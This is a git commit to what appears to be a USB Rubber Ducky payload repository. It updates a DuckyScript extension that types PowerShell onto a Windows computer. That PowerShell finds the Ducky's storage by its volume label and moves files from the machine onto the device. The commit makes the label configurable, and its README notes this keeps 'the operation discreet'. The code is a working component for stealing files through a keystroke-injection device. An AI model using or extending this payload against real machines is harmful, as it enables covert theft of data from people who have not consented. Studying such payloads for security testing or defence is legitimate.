Aporting hak5peaks tips

[#] Extension renamed to `_` instead of `-` and only all caps
[#] Windows to all caps
[+] Added #DRIVER-LABEL
[#] Unordered spacing removed
pull/427/head
Aleff 2024-06-01 10:26:10 +02:00
parent 8d3adb90ad
commit 2e892e4b0e
2 changed files with 10 additions and 20 deletions

View File

@ -42,7 +42,11 @@ Insert this extension when you have one or more files that you want to save via
Before using the extension, you need to configure it by setting certain variables in the DuckyScript payload. Here are the configuration options:
### 2. Single File or Multiple Files
### Driver Label
This extension utilizes the 'Get-Volume' command to scan the available volumes on the computer where the command is executed, aiming to detect our USB Rubber Ducky device. Upon detection, the device is selected to serve as a reference, allowing us to perform data saving operations. By default, USB Rubber Duckys are identified by the label 'DUCK'. However, this label can be altered, particularly if we want to keep the operation discreet. If the default label has been changed, it will be necessary to update the #DRIVER-LABEL variable with the correct label.
### Single File or Multiple Files
You can choose to send a single file or multiple files. Configure the extension accordingly.

View File

@ -1,7 +1,6 @@
EXTENSION SAVE_FILES_IN_RUBBER_DUCKY_STORAGE-Windows
EXTENSION SAVE_FILES_IN_RUBBER_DUCKY_STORAGE_WINDOWS
REM VERSION 1.0
REM AUTHOR: Aleff
REM_BLOCK Documentation
This extension is used to save one or more files through the USB Rubber Ducky storage.
@ -11,8 +10,9 @@ EXTENSION SAVE_FILES_IN_RUBBER_DUCKY_STORAGE-Windows
USAGE:
Insert this extension when you have one or more files that you want to save in your USB Rubber Ducky.
CONFIGURATION:
Set #DRIVER-LABEL variable with the correct Label of your USB Rubber Ducky considering that the default value is 'DUCK'.
Set #FLAG-SINGLE-FILE with TRUE if you want to save just one file.
In this case you will need to specify the file path within the #SINGLE-PATH variable OR, in case the exact path to the file you can only acquire it at runtime and so via the powershell, use in the powershell the $fileToSavePath variable to capture this path.
i.e. in DuckyScript EXTENSION
@ -35,48 +35,34 @@ EXTENSION SAVE_FILES_IN_RUBBER_DUCKY_STORAGE-Windows
> $fileToSavePaths += "C:\Users\Aleff\Downloads\photo.png"
How to see the array?
> $fileToSavePaths
END_REM
REM Settings
DEFINE #DRIVER-LABEL DUCK
DEFINE #FLAG-SINGLE-FILE FALSE
DEFINE #SINGLE-PATH 0
REM Extension Code
FUNCTION SAVE-SINGLE-FILE()
IF ( #SINGLE-PATH != 0 ) THEN
STRINGLN mv #SINGLE-PATH >> ${m}:\
ELSE IF ( #SINGLE-PATH == 0 ) THEN
STRINGLN mv ${fileToSavePath} >> ${m}:\
END_IF
END_FUNCTION
FUNCTION SAVE-MULTIPLE-FILES()
STRINGLN
foreach ($fileToSavePath in $fileToSavePaths) {
mv ${fileToSavePath} >> ${m}:\
}
END_STRINGLN
END_FUNCTION
STRINGLN $m=(Get-Volume -FileSystemLabel 'DUCK').DriveLetter;
STRINGLN $m=(Get-Volume -FileSystemLabel '#DRIVER-LABEL').DriveLetter;
IF_DEFINED_TRUE #FLAG-SINGLE-FILE
SAVE-SINGLE-FILE()
END_IF_DEFINED
IF_NOT_DEFINED_TRUE #FLAG-SINGLE-FILE
SAVE-MULTIPLE-FILES()
END_IF_DEFINED
END_EXTENSION